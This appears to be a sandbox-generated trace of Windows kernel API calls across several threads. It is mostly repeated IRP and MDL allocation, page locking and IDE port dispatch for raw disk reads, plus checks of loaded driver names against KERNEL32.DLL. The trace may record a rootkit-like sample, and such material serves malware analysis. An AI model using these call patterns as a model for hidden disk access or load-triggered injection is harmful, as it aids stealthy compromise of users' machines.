IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.700] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.700] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.700] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0123.700] IdePortDispatch () returned 0x103 [0123.700] KeWaitForMutexObject () returned 0x0 [0124.130] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e4000 [0124.130] IdePortDispatch () returned 0x103 [0124.130] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e7000 [0124.131] IdePortDispatch () returned 0x103 Thread: id = 20 os_tid = 0xb0 Thread: id = 21 os_tid = 0xc0 Thread: id = 22 os_tid = 0xb8 Thread: id = 23 os_tid = 0x30 [0066.267] IdePortDispatchPnp () returned 0x0 [0067.310] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\HIDPARSE.SYS", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0067.311] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\HIDCLASS.SYS", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0067.346] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\USBD.SYS", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0067.353] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\hidusb.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0067.389] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\kbdhid.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 24 os_tid = 0x24 [0064.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0064.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa80033d19e0 [0064.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80033d19e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80033d19e0) [0064.498] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0064.498] IdePortDispatch () returned 0x103 [0064.498] KeWaitForMutexObject () returned 0x0 [0064.632] IdePortDispatch () returned 0x103 [0064.633] IdePortDispatch () returned 0x103 [0064.633] IdePortDispatch () returned 0x103 [0065.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0065.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800333c2e0 [0065.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800333c2e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800333c2e0) [0065.597] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0065.597] IdePortDispatch () returned 0x103 [0065.597] KeWaitForMutexObject () returned 0x0 [0066.224] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0066.226] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0066.226] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0066.227] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0066.227] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0066.228] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0066.228] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0066.229] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0066.229] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0066.242] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0066.242] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0066.243] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0066.243] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0066.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0066.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa8003436b10 [0066.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.675] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0066.675] IdePortDispatch () returned 0x103 [0066.675] KeWaitForMutexObject () returned 0x0 [0067.471] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034a7010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800356c000 [0067.471] IdePortDispatch () returned 0x103 [0067.472] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034a7cb0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003570000 [0067.472] IdePortDispatch () returned 0x103 [0067.472] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034a78f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003578000 [0067.472] IdePortDispatch () returned 0x103 [0067.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0067.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa80034c83a0 [0067.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0067.705] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0067.705] IdePortDispatch () returned 0x103 [0067.705] KeWaitForMutexObject () returned 0x0 [0068.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0068.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa80034c83a0 [0068.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0068.719] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0068.719] IdePortDispatch () returned 0x103 [0068.719] KeWaitForMutexObject () returned 0x0 [0068.859] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f73740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035aa000 [0068.859] IdePortDispatch () returned 0x103 [0068.859] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f73740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ac000 [0068.860] IdePortDispatch () returned 0x103 [0069.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0069.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa80034c83a0 [0069.734] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0069.734] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0069.734] IdePortDispatch () returned 0x103 [0069.735] KeWaitForMutexObject () returned 0x0 [0070.108] IdePortDispatch () returned 0x103 [0070.108] IdePortDispatch () returned 0x103 [0070.109] IdePortDispatch () returned 0x103 [0071.331] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0071.331] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa800d30e960 [0071.331] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.331] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0071.331] IdePortDispatch () returned 0x103 [0071.332] KeWaitForMutexObject () returned 0x0 [0071.486] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f73740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a2000 [0071.486] IdePortDispatch () returned 0x103 [0073.048] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0073.048] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa800343bd20 [0073.048] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.048] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0073.048] IdePortDispatch () returned 0x103 [0073.048] KeWaitForMutexObject () returned 0x0 [0078.366] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f73740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003449000 [0078.366] IdePortDispatch () returned 0x103 [0078.366] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f73740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800344a000 [0078.366] IdePortDispatch () returned 0x103 [0078.369] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f73740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800344b000 [0078.369] IdePortDispatch () returned 0x103 [0080.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003671220 [0080.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003671220 | out: Irp=0xfffffa8003671220) returned 0xfffffa8003670280 [0080.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.431] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0080.431] IdePortDispatch () returned 0x103 [0080.432] KeWaitForMutexObject () returned 0x0 [0080.495] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f73740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7a000 [0080.495] IdePortDispatch () returned 0x103 [0081.315] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d30000 [0081.316] IdePortDispatch () returned 0x103 [0081.434] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0081.434] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003655930 [0081.434] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.434] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0081.434] IdePortDispatch () returned 0x103 [0081.434] KeWaitForMutexObject () returned 0x0 [0081.730] IdePortDispatch () returned 0x103 [0081.730] IdePortDispatch () returned 0x103 [0081.730] IdePortDispatch () returned 0x103 [0081.731] IdePortDispatchDeviceControl () returned 0x0 [0082.432] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f73740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ba000 [0082.432] IdePortDispatch () returned 0x103 [0082.433] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f73740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035bb000 [0082.433] IdePortDispatch () returned 0x103 [0082.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0082.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003655930 [0082.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.463] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0082.463] IdePortDispatch () returned 0x103 [0082.463] KeWaitForMutexObject () returned 0x0 [0083.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0083.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003655930 [0083.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0083.476] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0083.476] IdePortDispatch () returned 0x103 [0083.477] KeWaitForMutexObject () returned 0x0 [0084.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0084.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003655930 [0084.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0084.491] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0084.491] IdePortDispatch () returned 0x103 [0084.491] KeWaitForMutexObject () returned 0x0 [0085.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0085.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003655930 [0085.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.645] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0085.645] IdePortDispatch () returned 0x103 [0085.645] KeWaitForMutexObject () returned 0x0 [0086.521] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f73740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5d000 [0086.521] IdePortDispatch () returned 0x103 [0086.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0086.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0086.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0086.550] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0086.550] IdePortDispatch () returned 0x103 [0086.550] KeWaitForMutexObject () returned 0x0 [0086.622] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003470000 [0086.622] IdePortDispatch () returned 0x103 [0086.975] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f73180, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800354e000 [0086.975] IdePortDispatch () returned 0x103 [0086.975] IdePortDispatchDeviceControl () returned 0x0 [0088.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037c7bb0 [0088.173] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037c7bb0 | out: Irp=0xfffffa80037c7bb0) returned 0xfffffa80037baa70 [0088.173] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.173] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0088.173] IdePortDispatch () returned 0x103 [0088.173] KeWaitForMutexObject () returned 0x0 [0088.513] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0088.514] IdePortDispatch () returned 0x103 [0088.514] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003511610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003420000 [0088.514] IdePortDispatch () returned 0x103 [0088.518] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0088.518] IdePortDispatch () returned 0x103 [0088.543] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80037f5710, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b98000 [0088.543] IdePortDispatch () returned 0x103 [0088.544] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb5000 [0088.544] IdePortDispatch () returned 0x103 [0089.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f73740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba9000 [0089.145] IdePortDispatch () returned 0x103 [0098.890] IdePortDispatch () returned 0x103 [0098.891] IdePortDispatch () returned 0x103 [0098.908] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f73740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b81000 [0098.908] IdePortDispatch () returned 0x103 [0109.152] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800359d000 [0109.152] IdePortDispatch () returned 0x103 [0109.165] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c6000 [0109.165] IdePortDispatch () returned 0x103 [0109.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1bee0 [0109.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1bee0 | out: Irp=0xfffffa8003b1bee0) returned 0xfffffa80038a5010 [0109.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0109.239] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0109.239] IdePortDispatch () returned 0x103 [0109.239] KeWaitForMutexObject () returned 0x0 [0109.873] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d97000 [0109.873] IdePortDispatch () returned 0x103 [0110.062] IdePortDispatch () returned 0x103 [0110.063] IdePortDispatch () returned 0x103 [0110.064] IdePortDispatch () returned 0x103 [0110.064] IdePortDispatch () returned 0x103 [0110.064] IdePortDispatch () returned 0x103 [0110.065] IdePortDispatch () returned 0x103 [0110.065] IdePortDispatch () returned 0x103 [0110.065] IdePortDispatch () returned 0x103 [0110.065] IdePortDispatch () returned 0x103 [0110.194] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800348c000 [0110.194] IdePortDispatch () returned 0x103 [0110.196] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003497000 [0110.196] IdePortDispatch () returned 0x103 [0110.197] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349c000 [0110.197] IdePortDispatch () returned 0x103 [0110.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0110.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa80038a5010 [0110.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0110.253] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0110.253] IdePortDispatch () returned 0x103 [0110.253] KeWaitForMutexObject () returned 0x0 [0110.425] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca2000 [0110.425] IdePortDispatch () returned 0x103 [0110.986] IdePortDispatch () returned 0x103 [0110.987] IdePortDispatch () returned 0x103 [0110.987] IdePortDispatch () returned 0x103 [0110.987] IdePortDispatchDeviceControl () returned 0x0 [0111.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80028a3850 [0111.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80028a3850 | out: Irp=0xfffffa80028a3850) returned 0xfffffa80038277e0 [0111.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038277e0) [0111.282] KeInitializeEvent (in: Event=0xfffff88002f73af0, Type=0x0, State=0 | out: Event=0xfffff88002f73af0) [0111.282] IdePortDispatch () returned 0x103 [0111.282] KeWaitForMutexObject () returned 0x0 [0111.400] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfa000 [0111.400] IdePortDispatch () returned 0x103 [0111.546] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800353e000 [0111.546] IdePortDispatch () returned 0x103 Thread: id = 25 os_tid = 0xd0 [0059.187] IdePortDispatch () returned 0x103 Thread: id = 26 os_tid = 0x38 Thread: id = 27 os_tid = 0x20 [0098.891] IdePortDispatch () returned 0x103 [0098.902] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f6c740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b80000 [0098.902] IdePortDispatch () returned 0x103 [0098.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003671350 [0098.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003671350 | out: Irp=0xfffffa8003671350) returned 0xfffffa80038a5010 [0098.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0098.927] KeInitializeEvent (in: Event=0xfffff88002f6caf0, Type=0x0, State=0 | out: Event=0xfffff88002f6caf0) [0098.927] IdePortDispatch () returned 0x103 [0098.927] KeWaitForMutexObject () returned 0x0 [0100.842] IdePortDispatch () returned 0x103 [0100.842] IdePortDispatch () returned 0x103 [0100.843] IdePortDispatch () returned 0x103 [0100.844] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f6c740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800346d000 [0100.844] IdePortDispatch () returned 0x103 [0100.845] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f6c740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800346f000 [0100.845] IdePortDispatch () returned 0x103 [0100.845] IdePortDispatch () returned 0x103 [0100.846] IdePortDispatch () returned 0x103 [0100.847] IdePortDispatch () returned 0x103 [0100.857] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f6c740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800347d000 [0100.857] IdePortDispatch () returned 0x103 [0101.520] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8e000 [0101.520] 